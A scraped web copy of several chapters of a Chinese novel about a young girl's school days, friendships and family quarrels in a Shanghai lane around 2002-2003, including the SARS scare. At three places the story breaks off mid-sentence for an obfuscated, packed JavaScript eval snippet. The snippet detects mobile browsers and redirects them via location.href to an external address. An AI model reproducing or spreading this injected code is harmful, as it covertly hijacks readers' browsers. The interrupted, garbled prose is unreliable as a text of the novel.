方圆住在宁波路，她爸爸是桑悦大姨罗莉的同事，两人在幼儿园就是一个班，大班毕业前因为一些小事吵了两句嘴，加上方圆暑假跟着她妈一起去外婆家住，没在家附近活动，又没手机，就断了联系。 这回开学分到一个班，还坐在前后排，两个小姑娘别别扭扭地说了几句话，光速修复了友情。 宋书豪则是桑悦的同桌，一年级就戴上了眼镜，是班里少见的这么早戴眼镜的小孩。据他自己说，这眼镜是用来矫正视力的，不是单纯的近视镜，很贵的，必须得小心。 桑悦不懂怎么矫正，拿来研究了一会儿，觉得和罗枚的眼镜没什么差别，都是镜架镜框和两块玻璃片，很快就失去了兴趣。 她把眼镜还给宋书豪，转而侧过身，问起其他事：“宋书豪，方圆，你们兴趣课选什么呀？” 学校有校内兴趣拓展课，安排在每周三下午最后一节，每个年级有不同的项目可以选。一年级年纪太小，选择余地不太大。 宋书豪没怎么犹豫：“合唱吧。” 方圆：“我还没想好，反正下周再报名，还能再想想。桑悦你呢？” 桑悦说：“我想学国际象棋。但也想选合唱。” 她喜欢听歌，对唱歌很有兴趣，哪怕罗英说她五音不全，也无法打消这种兴趣。 但家里有一套少了几个棋子的国际象棋，外公有时候会拿出来教他们下，她学了一点，感觉也蛮好玩的。 对小桑悦来说，这个世界只有“好玩”与“不好玩”之分。她当然更喜欢好玩的人和事。 放学之后，桑悦又去问了沈照清。 一年级小学生是按照班级排队放学，班主任让他们两人两人拉着手走，出校门前要点人数。 4班最后一节体育课，比1班先走。 沈照清先找到了田书秀，小声叫了句“外婆”，乖乖站在她旁边等着。 很快，1班下楼，齐声喊完“老师再见”，各自做鸟兽散。 桑悦也看到了田书秀和沈照清，松开了旁边宋书豪的手，飞快跑向两人。 “外婆！沈照清！” 沈照清没说话，默默往前两步，第一次主动牵住了桑悦。 桑悦一点都没察觉他的反常，只是任凭他抓着，眼睛亮晶晶地看向外婆，问出她每天最关心的问题：“外婆，今早夜到切啥？（今天晚上吃什么？）” 田书秀：“切饭。” 说完，她拉着俩孩子转过身，往河南路方向走。 路上也免不了问问上学第一天发生的事情。 田书秀：“悦悦，刚刚侬旁边额男小歪是撒宁啊？卖相老好额（长得很好看）。” 桑悦：“哦，宋书豪啊？是我同桌呀！” 话音刚落，她感觉手指一疼，指节好像被人攥紧了。 桑悦立马扭头看向沈照清没什么表情的小酷脸，嫩声嫩气地提醒他：“沈照清，你抓疼我了。” 沈照清默默松开一点力气。 桑悦这才笑起来，将注意力挪给他，问：“你兴趣课选什么呀？” 沈照清反问：“你呢？” “我还没想好。” “那我也没想好。” 桑悦撇撇嘴，不甚走心地“哦”了一声，又去和田书秀讲话：“外婆，马上要中秋了吧？这次月饼盒子里给的那个刀，能不能不要丢掉啊？我想要。” 罗英单位福利好，每年中秋都会发一些月饼票回来，让职工自己去领月饼。 大部分是杏花楼的广式月饼，七星伴月的铁盒和普通硬纸盒装都会有，盒子上面画着很漂亮的嫦娥和玉兔，里面还会给一把切月饼的塑料小刀。 杏花楼的月饼很大一个，桑悦想切了分给朋友们尝尝。 这也不是什么很难的要求，田书秀将那袋苹果换了个手拿，随口就答应下来：“晓得了。” …… 桑悦愁眉苦脸地考虑了一周，最终还是决定去上国际象棋课。 沈照清也跟着一起。 方圆和宋书豪则是报了其他科目。 第一次课，那个教棋的男老师先强调了半节课的纪律问题，见下头的小学生们都被吓得乖乖坐正了，这才将通知发下去，跟他们说，带回家给爸爸妈妈看，下次上课要带上钱和家长签过名的通知单一起。 从小，罗英对桑悦虽然没特别多要求，但随了大流，她也是从中班就开始认字背诗的，珠心算都考过了七级。 只是她认识的字还不够多，不能完全看懂通知单的意思，特别是上面还有“谱”这种不太常用的字。 相比之下，沈照清倒是基本看懂了，言简意赅地给她解释：“老师要求买棋盘和棋谱。” 价格桑悦看得懂，棋盘70一套，棋谱30，加起来一共一百。 在这个年头，一百不算小数目，但对桑悦家而言，其实也就是给她买三分之一双耐克鞋的价钱。只是花在买棋盘上，多半不符合罗英的消费观。 要知道，桑悦现在都上学了，买鞋买衣服还得买大半码的呢。无论进口的牌子还是国产。 而且，在不久之前，桑悦弄丢了那套《上官婉儿》中的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172612|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张碟片，找了一个月没找到。罗英没法按时还给单位，就去音像店看了，新买一套要99块，导致桑悦被罗英念叨了好几天，再让她出一百块，不可能。 桑悦垂头丧气地说：“我妈肯定不同意。” 果然不出所料，罗英看完通知，一口拒绝：“家里不是有棋吗？你拿去用不就好了。棋谱么看看别人的好嘞。” 桑悦：“可是那个少棋子啊。” 罗英：“你先跟着学学，要能坚持一学期，再给你买新的。” 桑悦心里觉得把残缺不全的棋带到学校去有点丢脸，但老师又说没棋不能上课，挣扎了一阵，还是妥协了。 周三，她带着外公那套在火灾中幸存、又少了三分之一棋子的国际象棋，去了学校。 结果上课果然很尴尬。 老师看没出钱的桑悦不顺眼，先教了基本规则，听说她有点基础，就让她拿着自己那副棋去和班上另一个男生对弈。 男生选了棋子比较多的白方。 桑悦的黑方比白方还少三个棋，包括很重要的“马”棋，自然是飞快惨败，还是三局全败。 那个男生也住在附近，回家和父母一说，这事儿很快就传到了桑悦外婆耳朵里。 田书秀讲话一向带着刺，免不了讲桑悦两句：“侬不是帮那外公学过吗？还夜到留下来上课，哪能噶不来赛额啊（怎么这么不行）？” 桑悦差点被气哭，委屈得要命，强调自己的棋盘少子又没棋谱，偏偏外婆一点听不进，只觉得她是找借口。 田书秀：“侬最会的哈刚了。（你最会瞎讲）” 桑悦实在太爱聊，平时又是性格大大咧咧一个小女孩，整天笑眯眯的跑来跑去，在大人眼里不免有点见人说人话、见鬼说鬼话的意思。 特别是她爸爸也这样，特别会搭会讲，田书秀又不喜欢她爸爸，也不是第一次借故背后骂三门（骂人）了。 桑悦直接气得不想去上周三的课了。 后一节兴趣课，方圆的读书课老师请假，读书课改自习，她就呆在教室里写作业。 桑悦和她小声聊着天，一不小心就聊过了时间。 等桑悦颤颤巍巍赶到国际象棋教室的时候，老师直接没让进去，叫她拿着那盒缺子的棋站在教室外面反省。 桑悦从来没被这样罚过，小小的自尊心直接碎了一地，脸颊通红地站在门口，听着教室里面讲解棋谱的声音。 没过几分钟，那老师突然又怒喝了一声。 桑悦在外面都被吓了一跳，扭过头，想从玻璃窗里往里看。 视线只一偏，就看到教室门被人打开，沈照清从里面走出来，默默站到了她旁边。 见到他，桑悦又惊又喜，立马问：“沈照清，你怎么也被赶出来啦？” 沈照清淡声说：“我说我不想上这个兴趣班了，问老师能不能把棋盘和棋谱退掉。” 桑悦瞪大了那双圆溜溜的眼睛，一眨也不眨地盯着他，难以置信地追问道：“那老师怎么说的？” “他说不行，塑封已经拆开了。” “然后呢？怎么还是让你出来了？” “我妈不在家，那个家长签名是我自己签的，钱是我偷偷拿的，没告诉我妈。” “……” 8. 08 学校教师胡乱收费和诱导收费一直是敏感话题，沈照清这么一说，象棋老师担不起责任，也怕家长找到学校来闹事，只能给他退钱。 课是没法继续上了，在两班班主任的协调下，沈照清带着桑悦一起换到了方圆所在的读书班。 在小朋友们十分添油加醋的表达能力下，沈照清刺头的名声就这样打了出去。 毕竟，7岁的小孩还没有那么多自主想法，成长中受到了潜移默化的日常训导，刚刚进入学校，就算调皮捣蛋，天然地就会敬畏害怕老师的，少有敢在课上当众和老师对着干的。 4班班主任怕这事产生恶劣的后续影响，给沈照清换班之后，还是和李觅打了通电话。 毕竟事关钱，学生又还是那么小的小孩子，必须通知家长，不能随便解决。 李觅压根不觉得这是什么大事，问都没去问沈照清，直接私下给老师赔了100块了事。 …… 小学一年级入学是培养良好学习习惯的基础，老师为了管住这群小孩，在行为规范上要求十分严格。 桑悦被学校折磨了几周，每天练字算数学英语，只觉得小学一点没有幼儿园有意思，上学兴趣开始逐渐减弱。 这般日复一日地度过，月饼礼盒出现在家中，中秋节悄悄到来。 十五当天，全家所有人都会到外婆家来聚会。 除了桑悦最小那个阿姨人已经嫁到国外回不来之外，罗莉、罗英、罗芬、罗枚四姐妹，加上各自的孩子，全都挤到了外婆家二十几平的小屋子里。几人的丈夫则是回了他们的父母家，因为田书秀不喜欢，并不和他们一起。每年都是如此，包括大年夜吃年夜饭，大多也不带几个女婿。大家各回各家，也很和谐。 上海有中秋节吃芋艿和毛豆的习俗，还有罗英带回来的毛蟹，和着年糕一起炒，外加一盘子清蒸大闸蟹，沾加了姜蓉的蟹醋，又鲜又香。 周骏才和贺云皎都坐在桌边剥蟹喝可乐。 桑悦年纪还小，没这个本事，就等罗英把蟹脚肉剥出来，好几根一起放在倒了蟹醋的蟹壳里，让她一筷子夹起来，再一口吃完。 席上，免不了七嘴八舌聊起琐事。 罗莉和她丈夫都在附近的菜市场工作，但他们有自己的临街店面，卖些活鸡活鸭，效益还不错。前提是，如果不炒股被套牢的话，家里条件会比现在好得多，贺云皎也不用在外婆家住二十多年，连大学学费都是罗英帮忙出的。 问起罗莉家的生意，她语气平平：“就那样呀，没撒。” 罗枚：“我前两天下班的时候，听十三点刚，哪老公来弄撒玉啊？覅被宁噶骗咯，乃澳门通嘞。” （听说你老公在弄什么玉，不要被人骗了，到时候有苦说不出。） 罗莉一挥手，有些不耐烦道：“我刚了伊又覅听。慢较侬去帮伊刚好来。” （我讲了他又不听，以后你去和他说好了。） 当初炒股是罗莉老公的主意，她万事不管，只眼睁睁看着家里的钱被倒腾光。现在她老公又开始搞什么翡翠，想发笔横财，她更加管不住了。 罗英以前就说过，罗莉虽然是大姐，但外强中干，其实不是很有主见的人。 况且，这什么翡翠的生意，听起来就不靠谱。 姐妹几人喝了点红酒，外加一个最尖锐的田书秀，你一言我一语，各有各的想法，桌上气氛立马就隐隐约约有点剑拔弩张起来。 长辈吵架，底下几个小的一般不插嘴。 桑悦不耐烦听她们互相批评，吃了两只蟹脚肉、又啃了半只蟹膏，吸溜了一点半盘子毛豆，就匆匆下桌。 2002年的中秋是周六，弄堂里也是非比寻常的热闹，笑声就像长了脚，偷偷从每家每户的窗户里溜出来，四处奔袭散开。 趁着没人管她，桑悦先跑去沈照清家看了一眼。 沈照清和李觅都没在家，屋子里没声音，可能出门在哪里过节。 不过，桑悦和沈照清、还有方圆宋书豪约好了，明天一起去南京路宝大祥的汤姆熊玩，顺便给他们分月饼吃。 下午的时候，她已经把七星伴月里最大的那只“月亮”给藏起来了，打算明天装在书包里带出去。 反正明天就见面了。 这么想着，桑悦躺在阁楼的床上，望着窗外明亮的月光，唇角不由自主地翘着，一点点睡下去。 没想到，这种期盼的心情，在第二天起床后不久，很快消失殆尽。 桑悦翻遍了月饼盒、小菜架子、冰箱，都找不到那几把塑料月饼刀的踪迹。 “妈妈！外婆！我的刀呢！” 稚嫩的声音响彻走廊。 田书秀从外面走进来，问：“什么刀啊？” 桑悦：“就是切月饼的刀啊，外婆，我帮你说过好几次了，要给我留一把呀！” 田书秀：“忘也忘记嘞。昨天以拉切完就跟着盒子一道丢了吧。” 桑悦“哇”一下就哭了。 她不是很爱哭的小孩，从小到大就像个小太阳一样，爱说爱笑到近乎烦人的程度，完全称得上生命力旺盛。但就算如此，心智也不过是个7岁小朋友，期盼了很久、想象了很久的场景破灭后，难免觉得委屈难受。 这一哭，立刻把家里人全都引过来。 大家听完，却也只觉得桑悦小题大做。 “噢哟，不就是一把刀嘛，这有撒好哭的啦。” “就是啊，悦悦，外婆脑子不好，记不牢，明年侬再拿起白相好伐啦？” “再帮伊迎迎看（再帮她找找看），屋里向噶西多月饼，别的刀阿没啦？要么老早切蛋糕的刀还有伐？” “老早丢特嘞。” “……” 桑悦哭得停不下来，耳朵“嗡嗡”作响，只觉得旁边说话的声音都是模模糊糊的，听不清晰。 没一会儿，罗英从旁边拿了把水果刀过来，开口道：“侬要切撒？妈妈帮侬用个则刀切好伐？侬看看较，还是瑞士军刀叻，妈妈老早从瑞士带回来额，老好额。” 闻言，桑悦抹着眼泪拼命摇头，“不要！我不要！” 这怎么能一样呢？ 没人懂她想给朋友们分“七星伴月”的仪式感。 罗英哄了两句，逐渐失去耐心，声音拔高：“侬个小人，哪能噶烦额啦！作死特了……覅哭了！慢较吵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15172613|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得隔壁邻居来骂侬！” 桑悦被她吓了一跳，浑身一抖，抽抽噎噎地吸鼻子，眼泪像开闸的水龙头一样，怎么擦都停不下来。 罗英没办法，干脆扯着她的肩膀，把她带到楼下去。 恰好，距离出发时间不远，沈照清已经到了楼下，原本打算上去敲门，见到罗英拉着桑悦，脚步加快，到两人面前停下。 他看了看桑悦的花脸，低声问：“罗阿姨，桑悦怎么了？” 罗英把事情说了一下，又去恐吓小桑悦：“你们不是要出去玩吗？悦悦，侬再哭，等下清清他们不带你去了。” 此话一出，桑悦立马收了声。 罗英替她擦了擦脸，干脆利落地将桑悦交给沈照清，嘱咐：“当心噢。你们有家长一起的吧？” 宝大祥就在南京路步行街上，距离河南路弄堂不远，沿着步行街走上十五六分钟就能到，路上也没有车，相对是比较安全的。 不过他们几个年纪太小，大人都不放心，还是决定由方圆的爸爸陪着他们一起去。 方圆说，她爸爸特别好说话，就远远跟着，不会管他们的。 听罗英问起，沈照清点点头，回答：“桑悦同学的爸爸在红绿灯下面等我们。” “弄堂外面那个马路？” “对。” 罗英把两个小孩送出弄堂，交到方圆爸爸手上，就一步三回头地离开了。 桑悦刚哭完，眼睛红红肿肿的，一路上，方圆和宋书豪都在问她发生了什么事。 和朋友在一起，桑悦终于能把心里那点奇奇怪怪的委屈全部说出来。并且，还不会被嫌弃她找事、作、莫名其妙等等。 等她说完，宋书豪推了推眼镜，小手一挥，很大大咧咧地开口：“桑悦，你现在就把月饼拿出来。” 桑悦问了句“为什么”，但也没有真的要他解释，立马就从书包里拿出了那个“七星伴月”。 宋书豪撕开了月饼包装，对她说：“我们一人咬几口不就好了。” 最终，四个小朋友你一口我一口，在步行街中央，旁若无人地吃完了那只大月饼。 因为这件事，桑悦对宋书豪的评价陡然拔高。 两人本就是同桌，在学校形影不离，放学还能顺路一起走半条马路。相比之下，沉默寡言的沈照清反倒像局外人。 …… 过后就是国庆。 2002年，调休政策还没有实行，国庆放完7天也不用补休。每年国庆前三天，南京路上都会举办花车巡游，一路从西藏路开到河南路。 从外婆家的窗户看出去，就能看到花车经过。 沈照清第一年来，桑悦便央着加班结束的罗英带他们一起去步行街。 罗英特地带了相机，给两个孩子在花车底下拍了不少照片。 有的玩，桑悦非常满足，七天就没消停过。 等假期结束回到学校上课，反而一时半会儿不能适应。 一连好久，她总觉得没睡醒，懒洋洋地趴在桌上，精神恹恹。 直到十月中下旬的某天中午，沈照清到1班来找她说话：“桑悦，下周末能不能到我家来吃饭？” 9. 09 桑悦掰着手指头，数了一下日期。 下周末是11月3号，不是什么特殊节日，应该没事。 于是她爽快地点头应下：“可以呀，但是为什么突然邀请我？” 沈照清：“我生日。” 桑悦“哇”了一声，眼睛亮亮的，嘴角大幅度翘起，“你生日那当然要去啦！你早点跟我说嘛，只剩一周了，我都没时间准备礼物……” 沈照清语气很平静，看不出什么即将过生日的喜悦之情，只是说：“人来就可以了。” 两个小朋友就这么简单地做了约定。 桑悦手上没有零花钱，她每天上学来回学校都是家里人接送，出门也有大人一起，罗英怕她乱买乱花，基本不给她钱，压岁钱也是年年都说帮她存起来，压根不会落到她手上。 因为口袋空空，就算想给小伙伴买个礼物，也是囊中羞涩。 最后，还是罗英领着她，去上海书城挑了只卡通铅笔盒，给沈照清当礼物。 罗英有单位发的书城卡，每次都是几大百几大百的拿回家，平时给桑悦买再多卡通书也压根用不完。桑悦想买个20块的笔盒，还是给沈照清的，自然也不会被念叨太多。 周末，桑悦拎着那只小汽车造型的铁皮笔盒，让罗英给她梳好头发，去了沈照清家。 开门的是李觅。 桑悦声音甜甜地打了个招呼：“李阿姨好！” 李觅每天早出晚归，平时连沈照清的面都见不太上，也是有一阵没见到桑悦。 她蹲下身，摸了摸桑悦圆嘟嘟的脸，笑道：“悦悦好像长高了。” 桑悦用力点头，“我妈妈说我长高了2厘米呢。” 这年纪的小孩子就是一天一个样，桑悦在一年级孩子中不高不矮，按照很正常的速度在发育着。因着外公的高个基因，她们一家个子都不矮，罗英和罗芬有169，罗枚和最小那个妹妹罗敏更是174的高挑个子。再加上桑悦爸爸也不拖后腿，想必她将来也不会太矮，没什么好担心的。 李觅听她这么说，立马很给面子地夸道：“悦悦真厉害！我家清清吃得少，就长得慢，不好。悦悦平时督促他多吃东西，好不好？” 从大人的角度来看，两个孩子差不多高，但一个圆润饱满，像个白白胖胖的雪团子，很有福气，另一个却清瘦单薄，虽然说不上营养不良，总归没那么让人放心。 桑悦其实是非常羡慕沈照清这个模样的，人瘦凸显个子，脸瘦凸显五官，从她的审美里来看，沈照清漂亮得没话说，连她们1班“班草”宋书豪都比不上。 但她还是顺着李觅的话，很用力地点点头，“好！下次我吃什么，都分一半给沈照清！” 李觅笑起来，摸摸她的苹果脑袋，“真乖。进去吧。” 桑悦对沈照清家熟悉得跟自己家一样，等李觅让开身位，她已经小炮仗似的窜了进去。 “沈照清！生日快乐！我来啦！” 话音刚落，沈照清不急不缓地从卧室里走出来。 他同桑悦说：“我妈妈说今天请我们喝珍珠奶茶。” 桑悦又惊又喜：“真哒？！” 她想喝奶茶已经想好久，从暑假前一直到现在，提了好几次，罗英还是没有松口。 没办法，家里好几个卫生专家，讲究得不得了，一致认为这种街边小店里的东西不干净，还说什么奶茶有激素，喝多了容易早发育。 桑悦这年纪，哪懂什么激素啊发育的，只嫌她们烦。 每次提起，必然是满脸不高兴，嘴巴嘟得老高，看起来都能挂油瓶了。 李觅阖上门，见桑悦那么兴奋，说话都快要破音了，也忍不住笑，“只能喝这一次喔。看在清清今天生日的份上。以后等你们长大了再喝。” 桑悦重重地“嗯”了一下，声音嘹亮：“谢谢李阿姨！” 李觅：“不用谢，是我要谢谢悦悦每天跟我们清清一起玩呢。好了，你俩想看电视还是玩电脑？清清，招呼好悦悦啊。我先去做饭，吃完饭再带你们去买奶茶和蛋糕。” 等李觅转进厨房，桑悦将铅笔盒给了沈照清，小声问他：“沈照清，你怎么没有请其他朋友啊？” 沈照清得了个新游戏机，能玩贪吃蛇、俄罗斯方块和坦克游戏，正在开机摆弄。 听桑悦问，他垂着眼，很随意地回答道：“没其他朋友。” 桑悦：“……” 好可怜。 上了两个月学，居然还没有朋友。他们4班的学生也太不热情友善了吧。 桑悦看向沈照清的眼神变得有些怜悯起来。 沈照清对她莫名产生的同情心接受良好，压根不想解释，顺手就把调好的游戏机递给她。 “给我玩吗？” “嗯。” 桑悦眯眼笑起来，转头就把什么可怜不可怜的事情抛到了脑后，和沈照清凑在一起，头碰头开始研究这个新游戏机。 中午饭是李觅做的冷面，加上醋和花生酱调味，再盖上几勺青椒肉丝、或是茭白鳝丝的浇头，就成了上海特色的冷面，许多人过生日都会这么弄。 下午，李觅带着俩孩子出了门，去步行街上买珍珠奶茶。 十一月的上海已经有点冷了，沈照清的生日蛋糕定的是德大西餐馆的，也是老字号，在云南路上，从南京路走过去还要点时间。 三人一路走走停停，晃晃悠悠的，不知不觉中，桑悦就把那杯珍珠奶茶喝得精光。 李觅低下头，笑着问她：“悦悦，好喝吗？” 桑悦：“好喝！” 李觅：“如果你很喜欢的话，可以跟你外婆说说，让她给你做。奶茶就用牛奶加红茶泡，珍珠去食品商店买那种袋装的。自己家里做会比较干净。” 她讲话温温柔柔的，语速也比罗英慢得多，桑悦听得十分认真，打算记下来回去就跟外婆和妈妈讲。 李觅看着她的表情，觉得小女孩真是比男孩子可爱得多。 她和沈照清说话，沈照清可不会给她这么专注的反应，总是两三个字就算回答过了，很是没劲。 一高兴，李觅又给俩孩子在旁边买了俩热气腾腾的珍珠米（玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15172614|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米），让他们拿着啃。 等拿了蛋糕，在路上转悠两圈，三人就回了弄堂。 这会儿功夫，天色渐迟，已经快要日落。 晚饭是李觅早就准备好的，像鸭胗干、叉烧这些熟菜都是早起去菜市场买来的，海蜇皮早就泡过水，切一切和蟹□□拌起来，再炒点简单的虾仁、烤麸之类，半小时就整出了三冷三热六个菜。 桌子被搬到电视机前，三个人围坐在一起，边看电视边吃了饭，又拿出蛋糕来给沈照清唱生日歌。 桑悦：“沈照清！快点许愿！许完愿再吹蜡烛啊！” 沈照清依言阖上眼，冥想了几秒钟，“呼”地一口气吹灭数字“8”造型的蜡烛。 见状，桑悦用力鼓起掌来。 …… 愉快的一天结束，桑悦要回家去，沈照清也跟着走出屋子，陪着她走了一段弄堂。 李觅不在，桑悦大大咧咧地问沈照清：“你今天许的什么愿望呀？” 沈照清：“我希望，我永远是你排名第一的好朋友。” 闻言，桑悦脚步一顿，愕然瞪大了眼睛，“什么话，那是当然的啦！侬则戆督，浪费生日愿望干嘛？” 沈照清立马反问她：“桑悦，你明年会记得我的生日吗？” 桑悦：“那当然！” 在沈照清告诉她生日那天，她已经在外婆家的挂历上做好了标记。 上海这边过公历生日，日期不会变。只要到每年的11月3号，那就是沈照清的生日。 桑悦信誓旦旦地告诉他：“以后每年生日，我都会来给你庆祝的！” “……好。拉勾。” “拉勾上吊，一百年不许变！” - 随着天气一天天变冷，弄堂里的躺椅都被收了起来，只有大爷们聚众打牌的时候才会搬出来。 2002年11月中下旬的时候，新闻里报道，广东省查出了SARS的案例。 千禧年刚开了个头，“非典”就这么来了。 到12月底的时候，弄堂里所有人谈论的话题都变成了非典。 大家都在担心，会不会传到上海，万一被传染可怎么办，听说后遗症特别厉害等等。外面都说小孩抵抗力弱，有孩子的人家尤甚。 桑悦也被拘着，除了上学，不许出门。 就算上学也要尽量少讲话，少和别人接触，每天勤洗手，给家里开窗通风之类的。 洗手倒还好说，不说话对她来说，可真是一种折磨。 罗英知道她这个脾气，态度十分强硬：“你要是再疯头疯脑的，就请假别去学校了，待在家里。反正寒假也没几天了。一年级少上两节课没什么关系。” 桑悦虽然对上学没兴趣，但在家里窝到过年，不能和朋友们一起，那更痛苦。她立刻否决了这个提议，乖乖闭上嘴。 2003年的元旦，桑悦连沈照清家都去不了，只在家和大人们一起看《情深深雨濛濛》。 但她有点想沈照清了。 更想沈照清家能收到动画台的电视机。 10.10 因为上海市政府管控良好，到一月中都没有听说市里有什么爆发的情况，只有新闻播报着外地的情况，每天依旧轮流放送“勤洗手、多通风”的告示。 大人们都在正常上班。 学校也没有停课。 临近学校的期末考前的一天，罗芬突然拎了几十包盐到桑悦外婆家来。 恰好，田书秀人就在家里做酒酿。 桑悦一家无论男女都很能喝酒，虽然是生活在弄堂里的小市民，又向来节俭，习惯和口味还是很有摩登上海的洋派味道，红酒白酒黄酒啤酒都能喝，咖啡更是要搭配西点当下午茶。 像桑悦，包括周骏才、贺云皎三个兄弟姐妹，从很小开始，大人们就会用筷子头沾点酒，给他们抿着玩。 平常，外婆也会经常做点酒酿，或是直接舀着吃，或是弄成酒酿小圆子，大家都喜欢。 冬天室温不够高，外婆怕酒酿发酵不起来，就连着锅一起放在沙发上，用布包上两层，再拿桑悦幼儿园睡午觉用的小被子捂住。 这么捂上几天，最多一周，再打开，满屋的酒酿香气，就可以吃了。 罗芬鼻子特别灵，一进屋立马问：“妈，做酒酿啊？” 田书秀回头看她：“哪能了？” 罗芬想起来要紧事，晃了晃手中两大袋盐，解释道：“人家外头都讲，这个盐好防非典传染的，我今早去超市里看，都被抢光嘞！还好易初莲花还有一点，全都买来了……” 田书秀：“哦哟，易初莲花的么子噶句呃，有撒好买头四啦。” （易初莲花的东西那么贵，有什么好买的。） 罗芬排行老三，是五姊妹里最喜欢表现自己的，有些咋咋呼呼。田书秀经常说她“出工不出力”，明明懒惰得要命，总爱先夸海口，做不做的就不一定了。 自打她自由恋爱嫁了个“真爱”家暴老公，又把一大家子人都拉下水、陪着她担惊受怕后，性格应该要变得沉稳些，但老毛病却是一点没改掉。 抢盐风潮刚刚有点起来，罗芬立马就加入了潮流中，也不管这盐是不是真的能防治肺炎，总归不能落于人后。 果不其然，等罗枚和罗英回家之后，立马对着那十几包盐一顿炮轰，只骂她浪费钱。 想想这个家里，罗英和贺云皎都是高级知识分子，作为家人，哪就能毫无判断力地跟风呢？要是盐真能防治，家家都有的平常东西，每天新闻里还怎么会有那么多病例报道？疫情早就该从世界上消失了。 “你个宁，哪能噶欢喜搞七捏三额啦？撒宁要侬买噶西多？带会起带会起！” （你这个人，怎么这么喜欢搞来搞去？谁要你买这么多，带回去！） 罗芬也有话说：“我买给阿拉老妈！又覅侬付钞票！” 因为这件事，几人又拌起嘴，一声比一声高地吵了起来，吵得桑悦外公都受不了，兀自悄悄避了出去。 幸好，弄堂里天天有人吵架。 什么你占了太久的水池子啦、或是你家的垃圾扔在外面都臭啦、又或是去楼下冲痰盂的时候不够小心啦……鸡毛蒜皮的龃龉一大堆。 桑悦家这也不过是日常情形罢了。没人会觉得大惊小怪。 …… 虽然非典听起来很恐怖，但没有影响上海太多。对小孩子来说，这依旧只是个寻常的年关。 外婆的酒酿酿成时，罗英从单位带了俩水仙球回来。 家里只有田书秀是侍弄花草的好手，桑悦央着她帮忙切了花球，用小菜架子底下翻出来的陈年老扁缸出来，给水仙球包了纱布，浸到水里养着。 顺利的话，用不了多久，大概到新年那几天，水仙就能开花了。到时候，肯定是满屋子的清香。 桑悦端着扁缸左看右看，恨不得它一夜之间就长大开花。 当然，她也没忘了最好的朋友沈照清。 扁缸太小，也就两个手掌大，种不了两个花球。桑悦想把另一个拿去给沈照清种，让他家里也能飘满花香。 只不过，寒假已经开始，罗英不让她出门，她没办法和沈照清碰面。 就在桑悦使劲儿想办法的时候，罗枚同志下班，从弄堂里的包打听“长脚”那里带回来一个新闻。 “昨天晚上，沈照清伊拉爷老头子（爸爸）到后头去吵相魔（吵架）嘞。” 因为俩家孩子关系密切，桑悦家里人都对沈照清家还算熟悉。 罗英还没下班回家，贺云皎用热腾腾的咖啡暖着手，注意力从电视里的本地新闻节目“新闻坊”转到罗枚那儿，问了句：“到啊里的？石库门里相啊？” 罗枚：“对额呀。” 贺云皎：“为撒吵啊？” 沈照清家才搬来半年，李觅又是神龙见首不见尾的神人，在弄堂里几乎不怎么露面，她家具体是什么情况，除了一开始传出来的什么“离婚”、“老公个姘头”之外，后面再也没有更详细的剧情流出。 至于沈照清父母吵架的原因，哪怕是如长脚爷叔这种“包打听”，一时半会儿也没能打听出究竟。 不过，后一天傍晚，桑悦就在外婆家门外见到了当事人。 “沈照清！？你怎么来了？是来找我的吗？” 说着，桑悦立马上去紧紧拉住了沈照清的手。 两人也没有太久没见，就是她被关久了，家里能一起玩的周骏才又不在，出现个小伙伴的新鲜面孔，小孩子就难掩兴奋之情。 沈照清没说话，但也没有甩开桑悦。 这次他是李觅亲自送过来的。 李觅脸色憔悴，眼下的乌青连厚厚的粉底都遮不住。她推了推沈照清，示意他跟着桑悦先进屋，自己却没跟着走进去，只是站在门外，轻声喊了一句：“悦悦妈妈，不好意思，我有点事想跟你商量一下。” 罗英迟疑片刻，还是擦了擦手，跟着她出去。 走廊里人多眼杂，两人下了两层楼，换到二楼那个宾馆门外的平台上说话。 罗英：“清清妈妈，什么事，你讲。” 李觅沉默片刻，暗自做了几个深呼吸，让自己冷静下来，才勉强开了口：“真的不好意思，其实，我是想，到月底前这小半个月，我能不能把沈照清放在你们家里？吃饭不方便的话，我给他带来。让他早上过来，晚上睡觉前再回自己家，可以吗？每天我都会让他量体温的，肯定不会染到肺炎过去的。” 这是李觅第二次提出类似的请求。 罗英有些不解，问：“小朋友不是都放寒假了吗？” 李觅：“对，放假了，所以沈照清他全天都在家，我怕他爸爸上门找事情，实在不放心。本来想放到他外公外婆家去的，但是俩老人腿脚都不好，沈照清他爸爸也知道我爸妈住在哪里，我实在是不放心。” 借此机会，罗英成为了全弄堂第一个知道沈照清家内幕的人。 这对夫妻俩，基本就是市面上离异家庭发生最多的情况。 